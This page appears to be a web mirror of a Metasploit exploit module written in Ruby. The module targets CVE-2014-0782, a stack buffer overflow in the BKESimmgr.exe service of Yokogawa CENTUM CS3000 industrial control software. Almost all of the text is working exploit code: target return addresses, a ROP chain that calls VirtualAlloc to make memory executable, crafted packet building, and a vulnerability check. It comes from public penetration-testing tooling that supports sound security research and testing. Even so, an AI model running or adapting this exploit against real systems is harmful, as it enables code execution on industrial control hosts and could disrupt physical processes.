Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Yokogawa CS3000 BKESimmgr.exe Buffer Overflow',13'Description' => %q{14This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability15exists in the BKESimmgr.exe service when handling specially crafted packets, due to an16insecure usage of memcpy, using attacker controlled data as the size count. This module17has been tested successfully in Yokogawa CS3000 R3.08.50 over Windows XP SP3 and Windows182003 SP2.19},20'Author' =>21[22'juan vazquez',23'Redsadic <julian.vilas[at]gmail.com>'24],25'References' =>26[27['CVE', '2014-0782'],28['URL', 'https://www.rapid7.com/blog/post/2014/05/09/r7-2013-192-disclosure-yokogawa-centum-cs-3000-vulnerabilities'],29['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf']30],31'Payload' =>32{33'Space' => 340,34'DisableNops' => true,35'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -350036},37'Platform' => 'win',38'Targets' =>39[40[41'Yokogawa Centum CS3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',42{43'Ret' => 0x61d1274f, # 0x61d1274f # ADD ESP,10 # RETN # libbkebatchepa.dll44'Offset' => 64,45'FakeArgument1' => 0x0040E65C, # ptr to .data on BKESimmgr.exe46'FakeArgument2' => 0x0040EB90 # ptr to .data on BKESimmgr.exe47}48],49],50'DisclosureDate' => '2014-03-10',51'DefaultTarget' => 0))5253register_options(54[55Opt::RPORT(34205)56])57end5859def check60data = create_pkt(rand_text_alpha(4))6162res = send_pkt(data)6364if res && res.length == 1065simmgr_res = parse_response(res)6667if valid_response?(simmgr_res)68check_code = Exploit::CheckCode::Appears69else70check_code = Exploit::CheckCode::Safe71end72else73check_code = Exploit::CheckCode::Safe74end7576check_code77end7879def exploit80bof = rand_text(target['Offset'])81bof << [target.ret].pack("V")82bof << [target['FakeArgument1']].pack("V")83bof << [target['FakeArgument2']].pack("V")84bof << rand_text(16) # padding (corrupted bytes)85bof << create_rop_chain86bof << payload.encoded8788data = [0x1].pack("N") # Sub-operation id, <= 0x8 in order to pass the check at sub_4090B089data << [bof.length].pack("n")90data << bof9192pkt = create_pkt(data)9394print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")95connect96sock.put(pkt)97disconnect98end99100def create_rop_chain101# rop chain generated with mona.py - www.corelan.be102rop_gadgets =103[1040x004047ca, # POP ECX # RETN [BKESimmgr.exe]1050x610e3024, # ptr to &VirtualAlloc() [IAT libbkfmtvrecinfo.dll]1060x61232d60, # MOV EAX,DWORD PTR DS:[ECX] # RETN [LibBKESysVWinList.dll]1070x61d19e6a, # XCHG EAX,ESI # RETN [libbkebatchepa.dll]1080x619436d3, # POP EBP # RETN [libbkeeda.dll]1090x61615424, # & push esp # ret [libbkeldc.dll]1100x61e56c8e, # POP EBX # RETN [LibBKCCommon.dll]1110x00000001, # 0x00000001-> ebx1120x61910021, # POP EDX # ADD AL,0 # MOV EAX,6191002A # RETN [libbkeeda.dll]1130x00001000, # 0x00001000-> edx1140x0040765a, # POP ECX # RETN [BKESimmgr.exe]1150x00000040, # 0x00000040-> ecx1160x6191aaab, # POP EDI # RETN [libbkeeda.dll]1170x61e58e04, # RETN (ROP NOP) [LibBKCCommon.dll]1180x00405ffa, # POP EAX # RETN [BKESimmgr.exe]1190x90909090, # nop1200x619532eb # PUSHAD # RETN [libbkeeda.dll]121].pack("V*")122123rop_gadgets124end125126def create_pkt(data)127pkt = [0x01].pack("N") # Operation Identifier128pkt << [data.length].pack("n") # length129pkt << data # Fake packet130131pkt132end133134def send_pkt(data)135connect136sock.put(data)137res = sock.get_once138disconnect139140res141end142143def parse_response(data)144data.unpack("NnN")145end146147def valid_response?(data)148valid = false149150if data && data[0] == 1 && data[1] == 4 && data[1] == 4 && data[2] == 5151valid = true152end153154valid155end156end157158159